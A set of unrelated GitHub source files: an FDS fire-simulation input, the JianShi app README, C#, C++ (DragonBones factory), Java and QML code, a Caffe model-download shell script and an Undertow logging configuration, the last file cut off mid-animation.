VENT XB=1.35,1.45, 1.30, 1.35,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.35,1.45, 1.05, 1.10,0.30,0.30, SURF_ID='BURNER' /
OBST XB=1.75,2.25,-0.20,0.20,0.00,0.30, SURF_ID='FIBER BOARD' / Position FR
VENT XB=1.90,2.10,-0.10,0.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.85,1.90,-0.05,0.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.10,2.15,-0.05,0.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.95,2.05,-0.15,-.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.95,2.05, 0.10,0.15,0.30,0.30, SURF_ID='BURNER' /
OBST XB=2.30,2.80,-0.20,0.20,0.00,0.30, SURF_ID='FIBER BOARD' / Position GR
VENT XB=2.45,2.65,-0.10,0.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.40,2.45,-0.05,0.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.65,2.70,-0.05,0.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.50,2.60,-0.15,-.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.50,2.60, 0.10,0.15,0.30,0.30, SURF_ID='BURNER' /
OBST XB=2.10,2.60,-1.15,-0.75,0.00,0.30, SURF_ID='FIBER BOARD' / Position HR
VENT XB=2.25,2.45,-1.05,-0.85,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.20,2.25,-1.00,-0.90,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.45,2.50,-1.00,-0.90,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.30,2.40,-1.10,-1.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=2.30,2.40,-0.85,-0.80,0.30,0.30, SURF_ID='BURNER' /
&SURF ID='FIBER BOARD', DEFAULT=.TRUE., MATL_ID='INSULATION', THICKNESS=0.013, COLOR='BEIGE' /
&REAC FUEL='METHANE',SOOT_YIELD=0. /
&OBST XB=2.80,2.90,-1.40,1.40,0.00,2.13 / Wall with door or window
&VENT MB='XMAX',SURF_ID='OPEN'/
&VENT XB= 2.90,3.60,-1.40,-1.40,0.00,2.13, SURF_ID='OPEN'/
&VENT XB= 2.90,3.60, 1.40, 1.40,0.00,2.13, SURF_ID='OPEN'/
&VENT XB= 2.90,3.60,-1.40, 1.40,2.13,2.13, SURF_ID='OPEN'/
&MATL ID = 'INSULATION'
DENSITY = 200.
CONDUCTIVITY = 0.1
SPECIFIC_HEAT = 1. /
&SLCF PBY=0.0,QUANTITY='TEMPERATURE',VECTOR=.TRUE./
&DEVC ID='TC_Room', POINTS=44, XB=2.50,2.50,1.10,1.10,0.02,2.11, QUANTITY='TEMPERATURE', Z_ID='Room_z' /
&DEVC ID='TC_Door', POINTS=38, XB=2.85,2.85,0.00,0.00,0.02,1.82, QUANTITY='TEMPERATURE', Z_ID='Door_z' /
&DEVC ID='BP_Door', POINTS=38, XB=2.85,2.85,0.00,0.00,0.02,1.82, QUANTITY='VELOCITY', VELO_INDEX=1, HIDE_COORDINATES=.TRUE. /
&DEVC ID='HGL Temp', XB=2.50,2.50,1.10,1.10,0.00,2.13, QUANTITY='UPPER TEMPERATURE' /
&DEVC ID='HGL Height', XB=2.50,2.50,1.10,1.10,0.00,2.13, QUANTITY='LAYER HEIGHT' /
&TAIL /
|
{
"pile_set_name": "Github"
}
|
# JianShi 简诗
A Full-Stack mobile app, including Android side & Server side, Simple-Poem 简诗. You can write poem in graceful & traditional Chinese style. It supports signup & login, data sync with server, offline data storage, screenshot share etc.
一款优雅的中国风Android App,包括Android端和Server端,支持登录注册,数据云端同步,离线数据存储和截屏分享等功能。
[中文说明](https://github.com/wingjay/jianshi/blob/master/CN_README.md)
<a href="https://play.google.com/store/apps/details?id=com.wingjay.android.jianshi"><img alt="Google Play" src="https://play.google.com/intl/en_us/badges/images/generic/en-play-badge.png" height=50px/></a>
[下载地址: Fir.im](http://fir.im/vd1r)
# Technology JianShi used
### Android side
Jianshi depends on the most popular Android libraries to build Stable and Clean structure.
- Database: `DBFlow` to manage sqlite database;
- Network: `OkHttp3` & `Retrofit2`, and `Stetho` to debug http requests;
- Rx: `RxJava` & `RxAndroid`;
- Dependency Inject: `Dagger2`;
- Logging: `Timber`;
- Image loading: `Picasso`;
- Crash monitor: `Crashlytics`;
- other: `Eventbus`.
Thanks [`Square`](https://github.com/square) for their great libraries.
### Server side
Jianshi depends on Python & Flask.
The server architecture is:
- www layer: used to receive all http request, process parameters, and call logic layer api for furthure process;
- logic layer: used to process heavy service logic, when there are database actions, it will call db layer;
- db layer: used to wrap our database related actions.
# Android UI
<img src="material/screenshots/with_phone/1.PNG" width = 400>
<img src="material/screenshots/with_phone/2.PNG" width = 400>
<img src="material/screenshots/with_phone/3.PNG" width = 400>
<img src="material/screenshots/with_phone/4.PNG" width = 400>
<img src="material/screenshots/with_phone/7.PNG" width = 400>
<img src="material/screenshots/with_phone/8.PNG" width = 400>
<img src="material/screenshots/with_phone/6.png" width = 400>
<img src="material/screenshots/3.png" width = 400>
<img src="material/screenshots/with_phone/5.jpg" width = 600>
<img src="material/screenshots/shareImage.png" width = 800>
# Chinese Blog for jianshi
[如何在一天之内完成一款具备cool属性的Android产品_简书](http://www.jianshu.com/p/cf496fc408b2)
# Contributor
We build Android & Server together for JianShi.
[wingjay](https://github.com/wingjay), [RayPan](https://github.com/Panl).
# Development History
I use my extra time for this project development, so the development process doesn't go very fast.
- __[2016/11/06] Configure aliyun cloud server; Deploy application by jenkins; Setup Nginx & gunicorn; Finish unit-test for signup & data sync logic__
- __[2016/10/30] Design for signup & login; Screenshot for share; Other cool features__
- __[2016/10/25] Data sync between android and server; Improve server error handling function & config mechanism. [Server+Android]__
- __[2016/09/03] User managment in server side and Signup & Login flow in Android side. [Server+Android]__
- __[2016/08/25] Migrate from `LeanCloud` to `Apache + Mysql + wsgi + Flask` and build my own server framework. [Server]__
- __[2016/08/20] Build server side framework. Using `LeanCloud` & `Python`. [Server]__
- __[2016/08/18] Integrate Dagger Retrofit2 OkHttp3 RxJava etc. [Android]__
# Inspired By
[《Producter》](http://producter.io/)
# License
Apache
|
{
"pile_set_name": "Github"
}
|
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.0
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace MaterialDesignThemes.Wpf.Properties
{
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
#include "BaseFactory.h"
DRAGONBONES_NAMESPACE_BEGIN
JSONDataParser BaseFactory::_jsonParser;
BinaryDataParser BaseFactory::_binaryParser;
TextureData* BaseFactory::_getTextureData(const std::string& textureAtlasName, const std::string& textureName) const
{
const auto iterator = _textureAtlasDataMap.find(textureAtlasName);
if (iterator != _textureAtlasDataMap.end())
{
for (const auto textureAtlasData : iterator->second)
{
const auto textureData = textureAtlasData->getTexture(textureName);
if (textureData != nullptr)
{
return textureData;
}
}
}
if (autoSearch)
{
for (const auto& pair : _textureAtlasDataMap)
{
for (const auto textureAtlasData : pair.second)
{
if (textureAtlasData->autoSearch)
{
const auto textureData = textureAtlasData->getTexture(textureName);
if (textureData != nullptr)
{
return textureData;
}
}
}
}
}
return nullptr;
}
bool BaseFactory::_fillBuildArmaturePackage(
BuildArmaturePackage& dataPackage,
const std::string& dragonBonesName, const std::string& armatureName, const std::string& skinName, const std::string& textureAtlasName
) const
{
std::string mapName = dragonBonesName;
DragonBonesData* dragonBonesData = nullptr;
ArmatureData* armatureData = nullptr;
if (!mapName.empty())
{
const auto iterator = _dragonBonesDataMap.find(mapName);
if (iterator != _dragonBonesDataMap.end())
{
dragonBonesData = iterator->second;
armatureData = dragonBonesData->getArmature(armatureName);
}
}
if (armatureData == nullptr && (mapName.empty() || autoSearch))
{
for (const auto& pair : _dragonBonesDataMap)
{
dragonBonesData = pair.second;
if (mapName.empty() || dragonBonesData->autoSearch)
{
armatureData = dragonBonesData->getArmature(armatureName);
if (armatureData != nullptr)
{
mapName = pair.first;
break;
}
}
}
}
if (armatureData != nullptr)
{
dataPackage.dataName = mapName;
dataPackage.textureAtlasName = textureAtlasName;
dataPackage.data = dragonBonesData;
dataPackage.armature = armatureData;
dataPackage.skin = nullptr;
if (!skinName.empty())
{
dataPackage.skin = armatureData->getSkin(skinName);
if (dataPackage.skin == nullptr && autoSearch)
{
for (const auto& pair : _dragonBonesDataMap)
{
const auto skinDragonBonesData = pair.second;
const auto skinArmatureData = skinDragonBonesData->getArmature(skinName);
if (skinArmatureData != nullptr)
{
dataPackage.skin = skinArmatureData->defaultSkin;
break;
}
}
}
}
if (dataPackage.skin == nullptr)
{
dataPackage.skin = armatureData->defaultSkin;
}
return true;
}
return false;
}
void BaseFactory::_buildBones(const BuildArmaturePackage& dataPackage, Armature* armature) const
{
for (const auto boneData : dataPackage.armature->sortedBones)
{
const auto bone = BaseObject::borrowObject<Bone>();
bone->init(boneData, armature);
}
for (const auto& pair : dataPackage.armature->constraints)
{
// TODO more constraint type.
const auto constraint = BaseObject::borrowObject<IKConstraint>();
constraint->init(pair.second, armature);
armature->_addConstraint(constraint);
}
}
void BaseFactory::_buildSlots(const BuildArmaturePackage& dataPackage, Armature* armature) const
{
const auto currentSkin = dataPackage.skin;
const auto defaultSkin = dataPackage.armature->defaultSkin;
if (currentSkin == nullptr || defaultSkin == nullptr)
{
return;
}
std::map<std::string, std::vector<DisplayData*>*> skinSlots;
for (auto& pair : defaultSkin->displays)
{
auto& displays = pair.second;
skinSlots[pair.first] = &displays;
}
if (currentSkin != defaultSkin)
{
for (auto& pair : currentSkin->displays)
{
auto& displays = pair.second;
skinSlots[pair.first] = &displays;
}
}
for (const auto slotData : dataPackage.armature->sortedSlots)
{
const auto displayDatas = skinSlots[slotData->name];
const auto slot = _buildSlot(dataPackage, slotData, armature);
slot->setRawDisplayDatas(displayDatas);
if (displayDatas != nullptr)
{
std::vector<std::pair<void*, DisplayType>> displayList;
for (const auto displayData : *displayDatas)
{
if (displayData != nullptr)
{
displayList.push_back(_getSlotDisplay(&dataPackage, displayData, nullptr, slot));
}
else
{
displayList.push_back(std::make_pair(nullptr, DisplayType::Image));
}
}
slot->_setDisplayList(displayList);
}
slot->_setDisplayIndex(slotData->displayIndex, true);
}
}
Armature* BaseFactory::_buildChildArmature(const BuildArmaturePackage* dataPackage, Slot* slot, DisplayData* displayData) const
{
return buildArmature(displayData->path, dataPackage != nullptr ? dataPackage->dataName : "", "", dataPackage != nullptr ? dataPackage->textureAtlasName : "");
}
std::pair<void*, DisplayType> BaseFactory::_getSlotDisplay(const BuildArmaturePackage* dataPackage, DisplayData* displayData, DisplayData* rawDisplayData, Slot* slot) const
{
std::string dataName = "";
if (dataPackage != nullptr)
{
dataName = dataPackage->dataName;
}
else
{
for (const auto& pair : _dragonBonesDataMap)
{
if (pair.second == displayData->parent->parent->parent)
{
dataName = pair.first;
}
}
if (dataName.empty())
{
dataName = displayData->parent->parent->parent->name;
}
}
std::pair<void*, DisplayType> display(nullptr, DisplayType::Image);
switch (displayData->type)
{
case DisplayType::Image:
{
auto imageDisplayData = static_cast<ImageDisplayData*>(displayData);
if (dataPackage != nullptr && !dataPackage->textureAtlasName.empty())
{
imageDisplayData->texture = _getTextureData(dataPackage->textureAtlasName, displayData->path);
}
if (imageDisplayData->texture == nullptr)
{
imageDisplayData->texture = _getTextureData(dataName, displayData->path);
}
display.first = slot->_rawDisplay;
display.second = DisplayType::Image;
break;
}
case DisplayType::Mesh:
{
auto meshDisplayData = static_cast<MeshDisplayData*>(displayData);
if (dataPackage != nullptr && !dataPackage->textureAtlasName.empty())
{
meshDisplayData->texture = _getTextureData(dataPackage->textureAtlasName, meshDisplayData->path);
}
if (meshDisplayData->texture == nullptr)
{
meshDisplayData->texture = _getTextureData(dataName, meshDisplayData->path);
}
if (_isSupportMesh())
{
display.first = slot->_meshDisplay;
display.second = DisplayType::Mesh;
}
else
{
display.first = slot->_rawDisplay;
display.second = DisplayType::Image;
}
break;
}
case DisplayType::Armature:
{
auto armatureDisplayData = static_cast<ArmatureDisplayData*>(displayData);
const auto childArmature = _buildChildArmature(dataPackage, slot, displayData);
if (childArmature != nullptr)
{
childArmature->inheritAnimation = armatureDisplayData->inheritAnimation;
if (!childArmature->inheritAnimation)
{
const auto actions = !armatureDisplayData->actions.empty() ? &(armatureDisplayData->actions) : &(childArmature->_armatureData->defaultActions);
if (!actions->empty())
{
for (const auto action : *actions)
{
childArmature->getAnimation()->fadeIn(action->name);
}
}
else {
childArmature->getAnimation()->play();
}
}
armatureDisplayData->armature = childArmature->_armatureData; //
}
display.first = childArmature;
display.second = DisplayType::Armature;
break;
}
case DisplayType::BoundingBox:
break;
default:
break;
}
return display;
}
DragonBonesData* BaseFactory::parseDragonBonesData(const char* rawData, const std::string& name, float scale)
{
DRAGONBONES_ASSERT(rawData != nullptr, "");
DataParser* dataParser = nullptr;
if (
rawData[0] == 'D' &&
rawData[1] == 'B' &&
rawData[2] == 'D' &&
rawData[3] == 'T'
)
{
dataParser = &_binaryParser;
}
else
{
dataParser = _dataParser;
}
const auto dragonBonesData = dataParser->parseDragonBonesData(rawData, scale);
while (true)
{
const auto textureAtlasData = _buildTextureAtlasData(nullptr, nullptr);
if (dataParser->parseTextureAtlasData(nullptr, *textureAtlasData, scale))
{
addTextureAtlasData(textureAtlasData, name);
}
else
{
textureAtlasData->returnToPool();
break;
}
}
if (dragonBonesData != nullptr)
{
addDragonBonesData(dragonBonesData, name);
}
return dragonBonesData;
}
TextureAtlasData* BaseFactory::parseTextureAtlasData(const char* rawData, void* textureAtlas, const std::string& name, float scale)
{
const auto textureAtlasData = _buildTextureAtlasData(nullptr, nullptr);
_dataParser->parseTextureAtlasData(rawData, *textureAtlasData, scale);
_buildTextureAtlasData(textureAtlasData, textureAtlas);
addTextureAtlasData(textureAtlasData, name);
return textureAtlasData;
}
void BaseFactory::addDragonBonesData(DragonBonesData* data, const std::string& name)
{
const auto& mapName = !name.empty()? name : data->name;
if (_dragonBonesDataMap.find(mapName) != _dragonBonesDataMap.cend())
{
if (_dragonBonesDataMap[name] == data)
{
return;
}
DRAGONBONES_ASSERT(false, "Can not add same name data: " + name);
return;
}
_dragonBonesDataMap[mapName] = data;
}
void BaseFactory::removeDragonBonesData(const std::string& name, bool disposeData)
{
const auto iterator = _dragonBonesDataMap.find(name);
if (iterator != _dragonBonesDataMap.cend())
{
if (disposeData)
{
iterator->second->returnToPool();
}
_dragonBonesDataMap.erase(iterator);
}
}
void BaseFactory::addTextureAtlasData(TextureAtlasData* data, const std::string& name)
{
const auto& mapName = !name.empty() ? name : data->name;
auto& textureAtlasList = _textureAtlasDataMap[mapName];
if (std::find(textureAtlasList.cbegin(), textureAtlasList.cend(), data) == textureAtlasList.cend())
{
textureAtlasList.push_back(data);
}
}
void BaseFactory::removeTextureAtlasData(const std::string& name, bool disposeData)
{
const auto iterator = _textureAtlasDataMap.find(name);
if (iterator != _textureAtlasDataMap.end())
{
if (disposeData)
{
for (const auto textureAtlasData : iterator->second)
{
textureAtlasData->returnToPool();
}
}
_textureAtlasDataMap.erase(iterator);
}
}
ArmatureData* BaseFactory::getArmatureData(const std::string& name, const std::string& dragonBonesName) const
{
BuildArmaturePackage dataPackage;
if (!_fillBuildArmaturePackage(dataPackage, dragonBonesName, name, "", ""))
{
return nullptr;
}
return dataPackage.armature;
}
void BaseFactory::clear(bool disposeData)
{
if (disposeData)
{
for (const auto& pair : _dragonBonesDataMap)
{
pair.second->returnToPool();
}
for (const auto& pair : _textureAtlasDataMap)
{
for (const auto textureAtlasData : pair.second)
{
textureAtlasData->returnToPool();
}
}
}
_dragonBonesDataMap.clear();
_textureAtlasDataMap.clear();
}
Armature * BaseFactory::buildArmature(const std::string& armatureName, const std::string& dragonBonesName, const std::string& skinName, const std::string& textureAtlasName) const
{
BuildArmaturePackage dataPackage;
if (!_fillBuildArmaturePackage(dataPackage, dragonBonesName, armatureName, skinName, textureAtlasName))
{
DRAGONBONES_ASSERT(false, "No armature data: " + armatureName + ", " + (!dragonBonesName.empty() ? dragonBonesName : ""));
return nullptr;
}
const auto armature = _buildArmature(dataPackage);
_buildBones(dataPackage, armature);
_buildSlots(dataPackage, armature);
armature->invalidUpdate("", true);
armature->advanceTime(0.0f); // Update armature pose.
return armature;
}
void BaseFactory::replaceDisplay(Slot* slot, DisplayData* displayData, int displayIndex) const
{
if (displayIndex < 0)
{
displayIndex = slot->getDisplayIndex();
}
if (displayIndex < 0)
{
displayIndex = 0;
}
slot->replaceDisplayData(displayData, displayIndex);
auto displayList = slot->getDisplayList(); // Copy.
if (displayList.size() <= (unsigned)displayIndex)
{
displayList.resize(displayIndex + 1, std::make_pair(nullptr, DisplayType::Image));
}
if (displayData != nullptr)
{
const auto rawDisplayDatas = slot->getRawDisplayDatas();
displayList[displayIndex] = _getSlotDisplay(
nullptr,
displayData,
rawDisplayDatas != nullptr && (unsigned)displayIndex < rawDisplayDatas->size() ? rawDisplayDatas->at(displayIndex) : nullptr,
slot
);
}
else
{
displayList[displayIndex] = std::make_pair(nullptr, DisplayType::Image);
}
slot->setDisplayList(displayList);
}
bool BaseFactory::replaceSlotDisplay(const std::string& dragonBonesName, const std::string& armatureName, const std::string& slotName, const std::string& displayName, Slot* slot, int displayIndex) const
{
DRAGONBONES_ASSERT(slot, "Arguments error.");
const auto armatureData = getArmatureData(armatureName, dragonBonesName);
if (!armatureData || !armatureData->defaultSkin)
{
return false;
}
const auto displayData = armatureData->defaultSkin->getDisplay(slotName, displayName);
if (!displayData)
{
return false;
}
replaceDisplay(slot, displayData, displayIndex);
return true;
}
bool BaseFactory::replaceSlotDisplayList(const std::string& dragonBonesName, const std::string& armatureName, const std::string& slotName, Slot* slot) const
{
DRAGONBONES_ASSERT(slot, "Arguments error.");
const auto armatureData = getArmatureData(armatureName, dragonBonesName);
if (!armatureData || !armatureData->defaultSkin)
{
return false;
}
const auto displays = armatureData->defaultSkin->getDisplays(slotName);
if (!displays)
{
return false;
}
auto displayIndex = 0;
for (const auto displayData : *displays)
{
replaceDisplay(slot, displayData, displayIndex++);
}
return true;
}
bool BaseFactory::replaceSkin(Armature* armature, SkinData* skin, bool isOverride, const std::vector<std::string>& exclude) const
{
DRAGONBONES_ASSERT(armature && skin, "Arguments error.");
auto success = false;
const auto defaultSkin = skin->parent->defaultSkin;
for (const auto slot : armature->getSlots())
{
if (std::find(exclude.cbegin(), exclude.cend(), slot->getName()) != exclude.cend())
{
continue;
}
auto displays = skin->getDisplays(slot->getName());
if (displays == nullptr)
{
if (defaultSkin != nullptr && skin != defaultSkin)
{
displays = defaultSkin->getDisplays(slot->getName());
}
if (isOverride)
{
std::vector<std::pair<void*, DisplayType>> displayList;
slot->setRawDisplayDatas(nullptr);
slot->setDisplayList(displayList);
}
continue;
}
auto displayList = slot->getDisplayList(); // Copy.
displayList.resize(displays->size(), std::make_pair(nullptr, DisplayType::Image));
for (std::size_t i = 0, l = displays->size(); i < l; ++i)
{
const auto displayData = displays->at(i);
if (displayData != nullptr)
{
displayList[i] = _getSlotDisplay(nullptr, displayData, nullptr, slot);
}
else
{
displayList[i] = std::make_pair(nullptr, DisplayType::Image);
}
}
success = true;
slot->setRawDisplayDatas(displays);
slot->setDisplayList(displayList);
}
return success;
}
bool BaseFactory::replaceAnimation(Armature* armature, ArmatureData* armatureData, bool isReplaceAll) const
{
const auto skinData = armatureData->defaultSkin;
if (skinData == nullptr)
{
return false;
}
if (isReplaceAll)
{
armature->getAnimation()->setAnimations(armatureData->animations);
}
else
{
auto animations = armature->getAnimation()->getAnimations(); // Copy.
for (const auto& pair : armatureData->animations)
{
animations[pair.first] = pair.second;
}
armature->getAnimation()->setAnimations(animations);
}
for (const auto slot : armature->getSlots())
{
unsigned index = 0;
for (const auto& pair : slot->getDisplayList())
{
if (pair.second == DisplayType::Armature)
{
auto displayDatas = skinData->getDisplays(slot->getName());
if (displayDatas != nullptr && index < displayDatas->size())
{
const auto displayData = (*displayDatas)[index];
if (displayData != nullptr && displayData->type == DisplayType::Armature)
{
const auto childArmatureData = getArmatureData(displayData->path, displayData->parent->parent->parent->name);
if (childArmatureData != nullptr)
{
replaceAnimation((Armature*)pair.first, childArmatureData, isReplaceAll);
}
}
}
}
index++;
}
}
return true;
}
DRAGONBONES_NAMESPACE_END
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2012 - 2020 Splice Machine, Inc.
*
* This file is part of Splice Machine.
* Splice Machine is free software: you can redistribute it and/or modify it under the terms of the
* GNU Affero General Public License as published by the Free Software Foundation, either
* version 3, or (at your option) any later version.
* Splice Machine is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU Affero General Public License for more details.
* You should have received a copy of the GNU Affero General Public License along with Splice Machine.
* If not, see <http://www.gnu.org/licenses/>.
*/
package com.splicemachine.storage;
import java.io.IOException;
/**
* @author Scott Fines
* Date: 12/16/15
*/
public interface MutationStatus{
boolean isSuccess();
boolean isFailed();
boolean isNotRun();
String errorMessage();
MutationStatus getClone();
boolean hasException();
IOException getException();
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*
*/
package sun.jvm.hotspot.oops;
import sun.jvm.hotspot.debugger.*;
import sun.jvm.hotspot.runtime.VMObject;
// The class for a short field simply provides access to the value.
public class ShortField extends Field {
public ShortField(FieldIdentifier id, long offset, boolean isVMField) {
super(id, offset, isVMField);
}
public ShortField(sun.jvm.hotspot.types.JShortField vmField, long startOffset) {
super(new NamedFieldIdentifier(vmField.getName()), vmField.getOffset(), true);
}
public ShortField(InstanceKlass holder, int fieldArrayIndex) {
super(holder, fieldArrayIndex);
}
public short getValue(Oop obj) { return obj.getHandle().getJShortAt(getOffset()); }
public short getValue(VMObject obj) { return obj.getAddress().getJShortAt(getOffset()); }
public void setValue(Oop obj, short value) throws MutationException {
// Fix this: setJFloatAt is missing in Address
}
}
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env sh
GIST=$1
DIRNAME=${2:-./models}
if [ -z $GIST ]; then
echo "usage: download_model_from_gist.sh <gist_id> <dirname>"
exit
fi
GIST_DIR=$(echo $GIST | tr '/' '-')
MODEL_DIR="$DIRNAME/$GIST_DIR"
if [ -d $MODEL_DIR ]; then
echo "$MODEL_DIR already exists! Please make sure you're not overwriting anything important!"
exit
fi
echo "Downloading Caffe model info to $MODEL_DIR ..."
mkdir -p $MODEL_DIR
wget https://gist.github.com/$GIST/download -O $MODEL_DIR/gist.zip
unzip -j $MODEL_DIR/gist.zip -d $MODEL_DIR
rm $MODEL_DIR/gist.zip
echo "Done"
|
{
"pile_set_name": "Github"
}
|
package az.plainpie.annotation;
/**
* Created by zurcher on 10/06/16.
*/
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import static java.lang.annotation.ElementType.FIELD;
import static java.lang.annotation.ElementType.LOCAL_VARIABLE;
import static java.lang.annotation.ElementType.METHOD;
import static java.lang.annotation.ElementType.PARAMETER;
import static java.lang.annotation.RetentionPolicy.CLASS;
/**
* Denotes that the annotated element should be a float or double in the given range
* <p>
* Example:
* <pre>{@code
* @FloatRange(from=0.0,to=1.0)
* public float getAlpha() {
* ...
* }
* }</pre>
*/
@Retention(CLASS)
@Target({METHOD, PARAMETER, FIELD, LOCAL_VARIABLE})
public @interface FloatRange {
/**
* Smallest value. Whether it is inclusive or not is determined
* by {@link #fromInclusive}
*/
double from() default Double.NEGATIVE_INFINITY;
/**
* Largest value. Whether it is inclusive or not is determined
* by {@link #toInclusive}
*/
double to() default Double.POSITIVE_INFINITY;
/**
* Whether the from value is included in the range
*/
boolean fromInclusive() default true;
/**
* Whether the to value is included in the range
*/
boolean toInclusive() default true;
}
|
{
"pile_set_name": "Github"
}
|
# 下载地址:
# https://github.com/undertow-io/undertow/blob/master/examples/src/main/resources/logging.properties
#
# JBoss, Home of Professional Open Source.
# Copyright 2012 Red Hat, Inc., and individual contributors
# as indicated by the @author tags.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Additional logger names to configure (root logger is always configured)
loggers=org.xnio.listener,org.xnio.ssl,org.apache,io.undertow.util.TestHttpClient
# Root logger configuration
logger.level=${test.level:ERROR}
logger.handlers=CONSOLE
# Console handler configuration
handler.CONSOLE=org.jboss.logmanager.handlers.ConsoleHandler
handler.CONSOLE.properties=autoFlush,target
handler.CONSOLE.target=SYSTEM_ERR
handler.CONSOLE.level=ALL
handler.CONSOLE.autoFlush=true
handler.CONSOLE.formatter=PATTERN
# The log format pattern
formatter.PATTERN=org.jboss.logmanager.formatters.PatternFormatter
formatter.PATTERN.properties=pattern
formatter.PATTERN.pattern=%d{HH:mm:ss,SSS} %-5p (%t) [%c] <%F:%L> %m%n
logger.org.xnio.listener.level=DEBUG
logger.org.xnio.ssl.level=DEBUG
logger.org.apache.level=WARN
logger.org.apache.useParentHandlers=false
logger.io.undertow.util.TestHttpClient.level=WARN
|
{
"pile_set_name": "Github"
}
|
/*
* SPDX-FileCopyrightText: 2015 Marco Martin <mart@kde.org>
*
* SPDX-License-Identifier: LGPL-2.0-or-later
*/
import QtQuick 2.12
import QtQuick.Controls 2.3 as Controls
import QtQuick.Layouts 1.2
import QtQuick.Window 2.2
import QtGraphicalEffects 1.0
import org.kde.kirigami 2.12 as Kirigami
/**
* PassiveNotification is a type for small, passive and inline
notifications in the app.
* used to show messages of limited importance that make sense only when
* the user is using the application and wouldn't be suited as a global
* system-wide notification.
* This is not a full-fledged notification system. the applciation should
* use this with care and only one notification should be visible at once per app.
*/
Controls.Popup {
id: root
x: Math.round(parent.width/2 - width/2)
y: parent.height - height - Kirigami.Units.smallSpacing
implicitWidth: Math.max(background ? background.implicitWidth : 0,
contentWidth + leftPadding + rightPadding) + leftInset + rightInset
implicitHeight: Math.max(background ? background.implicitHeight : 0 ,
contentHeight + topPadding + bottomPadding)+ topInset + bottomInset
height: implicitHeight
width: implicitWidth
topPadding: Kirigami.Units.smallSpacing
leftPadding: Kirigami.Units.smallSpacing
rightPadding: Kirigami.Units.smallSpacing
bottomPadding: Kirigami.Units.smallSpacing
modal: false
closePolicy: Controls.Popup.NoAutoClose
focus: false
clip: false
function showNotification(message, timeout, actionText, callBack) {
if (!message) {
return;
}
let interval = 7000;
if (timeout == "short") {
interval = 4000;
} else if (timeout == "long") {
interval = 12000;
} else if (timeout > 0) {
interval = timeout;
}
open();
for (let i = 0; i < outerLayout.children.length - 3; ++i) {
outerLayout.children[i].close();
}
let delegate = delegateComponent.createObject(outerLayout, {
"text": message,
"actionText": actionText || "",
"callBack": callBack || (function(){}),
"interval": interval
});
// Reorder items to have the last on top
let children = outerLayout.children;
for (let i in children) {
children[i].Layout.row = children.length-1-i;
}
}
Kirigami.Theme.colorSet: Kirigami.Theme.Complementary
background: Item {}
contentItem: GridLayout {
id: outerLayout
columns: 1
}
Component {
id: delegateComponent
Controls.Control {
id: delegate
property alias text: label.text
property alias actionText: actionButton.text
property alias interval: timer.interval
property var callBack
Layout.alignment: Qt.AlignCenter
Layout.bottomMargin: -delegate.height
opacity: 0
function close() {
closeAnim.running = true;
}
leftPadding: Kirigami.Units.largeSpacing
rightPadding: Kirigami.Units.largeSpacing
topPadding: Kirigami.Units.largeSpacing
bottomPadding: Kirigami.Units.largeSpacing
Component.onCompleted: openAnim.restart()
ParallelAnimation {
id: openAnim
OpacityAnimator {
target: delegate
from: 0
to: 1
duration: Kirigami.Units.longDuration
easing.type: Easing.InOutQuad
}
NumberAnimation {
target: delegate
property: "Layout.bottomMargin"
from: -delegate.height
to: 0
duration: Kirigami.Units.longDuration
easing.type: Easing.InOutQuad
}
}
SequentialAnimation {
id: closeAnim
ParallelAnimation {
OpacityAnimator {
target: delegate
from: 1
to: 0
duration: Kirigami.Units.longDuration
easing.type: Easing.InOutQuad
}
NumberAnimation {
target: delegate
property: "Layout.bottomMargin"
to: -delegate.height
